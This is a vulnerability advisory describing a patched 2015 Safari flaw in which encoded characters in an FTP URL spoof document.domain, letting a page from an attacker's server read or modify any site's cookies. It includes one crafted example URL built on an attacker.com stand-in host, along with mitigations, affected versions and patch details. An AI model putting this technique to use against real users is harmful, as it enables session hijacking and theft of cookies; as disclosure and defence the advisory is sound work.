OVERVIEW

The 4/8/2015 security updates from Apple included a patch for a Safari
cross-domain vulnerability. An attacker could create web content
which, when viewed by a target user, bypasses some of the normal
cross-domain restrictions to access or modify HTTP cookies belonging
to any website.

Most websites which allow user logins store their authentication
information (usually session keys) in cookies. Access to these cookies
would allow hijacking authenticated sessions. Cookies can also contain
other sensitive information.

All tested Safari versions on iOS, OS X, and Windows were vulnerable.
The number of affected devices may be of the order of 1 billion.

Technically, the attacker can spoof the ”document.domain” property.
It’s possible that this could lead to compromise of other resources
apart from cookies. However, cookies was the only practical attack
scenario found with the tested versions of Safari.

The HttpOnly and Secure cookie flags represent an important mitigating
factor albeit with some caveats (see below).

DETAILS

Safari supports the FTP URL scheme allowing HTML documents to be
accessed via URLs beginning with "ftp://". These URLs can be of the
form ftp://user:password@host/path. The problem arises when encoded
special characters are used in the user or password parts.

Consider the following URL:

ftp://user%40attacker.com%2Fexploit.html%[email protected]/

If correctly interpreted, the URL refers to a document on apple.com.
However, when loaded by a vulnerable browser, the network layer uses
an extraneously decoded version of the URL:

ftp://[email protected]/exploit.html#apple.com/

The document would be loaded from attacker.com, not apple.com. Yet the
document properties such as ”document.domain” and ”document.cookie”
are correctly initialised using ”apple.com”.

The attacker-supplied document, exploit.html, can therefore access and
modify cookies belonging to apple.com via JavaScript.

It’s possible that cookies aren’t the only resource accessible this
way, but at least recent Safari versions (tested desktop only) use the
document origin instead of only host or domain for most other access
control, e.g. password autofilling and geolocation permissions.

The attack can be performed on normal web pages by embedding an IFRAME
pointing to an FTP URL.

MITIGATING FACTORS

The cookie attack requires JavaScript so existing cookies with the
HttpOnly flag can’t be seen by the attacker. Support for this flag
reportedly appeared in Safari 4. Earlier versions would be vulnerable
even with the HttpOnly flag.

Safari allows (over)writing of HttpOnly cookies so the flag doesn’t
prevent this vulnerability to be exploited for session fixation and
similar attacks.

Cookies with the Secure flag aren’t accessible for documents loaded via FTP.

VULNERABLE VERSIONS

The following versions were tested and found vulnerable:

• Safari 7.0.4 on OS X 10.9.3
• Safari on iPhone 3GS, iOS 6.1.6
• Safari on iOS 8.1 simulator
• Safari 5.1.7 on Windows 8.1

Earlier versions weren’t available for testing, but according to
available statistics their usage should be negligible.

SOLUTION

Apple was notified on January 27, 2015. The following patches were
released in April 2015:

• APPLE-SA-2015-04-08-3 iOS 8.3 - iPhone 4s and later, iPod touch (5th
  generation) and later, iPad 2 and later
• APPLE-SA-2015-04-08-1 Safari 8.0.5, Safari 7.1.5, and Safari 6.2.5 -
  OS X Mountain Lion, Mavericks, Yosemite

For more information see: https://support.apple.com/en-us/HT201222

WORKAROUND

The attacker has to set up an FTP server or use an existing public
one. Such server can run on any TCP/IP port number.

One way to stop such attacks (e.g. for older devices with no available
patch) would be to deny all traffic to the public internet and
configure the device to use a HTTP proxy located in the internal
network. This should prevent access to all FTP URLs.

CREDITS

The vulnerability was found and researched by Jouko Pynnonen of Klikki
Oy, Finland.

– Jouko Pynnonen <[email protected]> Klikki Oy - http://klikki.fi - @klikkioy